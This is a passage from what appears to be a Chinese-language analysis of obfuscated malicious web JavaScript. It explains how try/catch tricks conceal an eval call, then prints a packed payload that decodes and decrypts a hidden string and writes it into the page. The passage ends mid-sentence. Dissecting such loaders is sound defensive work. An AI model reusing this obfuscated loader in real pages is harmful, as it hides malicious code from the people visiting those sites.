然后紧跟着是个try catch结构，由于这里并没有定义变量a、b、c，因此触发异常，到catch执行。
catch体中定义了一个变量bBDCPCC3，并给变量C69df3E赋值“eval”关键字。同样下面也是用一个try..catch，catch体中调用了C69df3E，也就是相当于调用eval函数：
在eval中执行以下javascript函数：
function(p,a,c,k,e,d) {e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('68 106=226,124="%31"+"%32"+"%33"+"%34"+"%35"+"%36"+"%37"+"%38",108="%64"+"%205"+"%63"+"%75"+"%203"+"%65"+"%199%74",130="207+212+251/262/260+244/154/151/148+149/150+155+156+/161/162+160+159/157/158/147/146+135/136/137+134/133/131+132/138+139+144+145+143+142+140+141+163+197+164/188+186+185+182/183+184/189+190/195+196/194+193/191/192+181+180+170+171/175",103="%77"+"%72"+"%69"+"%74"+"%65",112;96 125(71){68 70,66,73,100;68 95,115;70=[];73=71.83;66=0;88(66<73){100=71.76(66++);174(100>>4){78 0:78 1:78 2:78 3:78 4:78 5:78 6:78 7:70[70.83]=71.176(66-1);89;78 12:78 13:95=71.76(66++);70[70.83]=93[\'91\'](((100&177)<<6)|(95&113));89;78 14:95=71.76(66++);115=71.76(66++);70[70.83]=93.91(((100&173)<<12)|((95&113)<<6)|((115&113)<<0));89}}79 70.118(\'\')}68 121="%39"+"%63"+"%114"+"%63"+"%114"+"%63"+"%114";68 102=168 169(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);108=106(108);96 129(71){68 101,92,82,85;68 66,73,70;73=71.83;66=0;70="";88(66<73){104{101=102[71.76(66++)&87]}88(66<73&&101==-1);84(101==-1)89;104{92=102[71.76(66++)&87]}88(66<73&&92==-1);84(92==-1)89;70+=93.91((101<<2)|((92&187)>>4));104{82=71.76(66++)&87;84(82==61)79 70;82=102[82]}88(66<73&&82==-1);84(82==-1)89;70+=93.91(((92&242)<<4)|((82&241)>>2));104{85=71.76(66++)&87;84(85==61)79 70;85=102[85]}88(66<73&&85==-1);84(85==-1)89;70+=93.91(((82&239)<<6)|85)}79 70}96 120(67,105){68 119=67.83;68 123=67[119-1]&98;110(68 66=0;66<119;66++){67[66]=93.91(67[66]&87,67[66]>>>8&87,67[66]>>>16&87,67[66]>>>24&87)}84(105){79 67.118(\'\').237(0,123)}256{79 67.118(\'\')}}96 111(94,105){68 73=94.83;68 67=[];110(68 66=0;66<73;66+=4){67[66>>2]=94.76(66)|94.76(66+1)<<8|94.76(66+2)<<16|94.76(66+3)<<24}84(105){67[67.83]=73}79 67}112=106(124+121);96 122(71,127){84(71==""){79""}68 67=111(71,126);68 117=111(127,126);68 99=67.83-1;68 81=67[99-1],80=67[0],116=210;68 97,109,128=211.213(6+52/(99+1)),90=128*116&98;88(90!=0){109=90>>>2&3;110(68 86=99;86>0;86--){81=67[86-1];97=(81>>>5^80<<2)+(80>>>3^81<<4)^(90^80)+(117[86&3^109]^81);80=67[86]=67[86]-97&98}81=67[99];97=(81>>>5^80<<2)+(80>>>3^81<<4)^(90^80)+(117[86&3^109]^81);80=67[0]=67[0]-97&98;90=90-116&98}79 120(67,218)}103=106(103);107="221/220/230+219+217+223+228+229+227+215/214/204+202/201+206+"+130+"+209/+231+247/254+255+253+252/249/250+259/261+258/248+238/236/235+232/234/240/245+246+243/198/153+152/165/166+167+172+178/179+257+216/222/224/225+200/208";107=125(122(129(107),112));233[108][103](107);',10,263,xmPpPuD['s'+'\x70\x6C\x69'+'t'](xmPpPub0),0,{}))}函数有6个参数p,a,c,k,e,d.返回值为p，仔细一看就可以发现调用函数的6个参数：
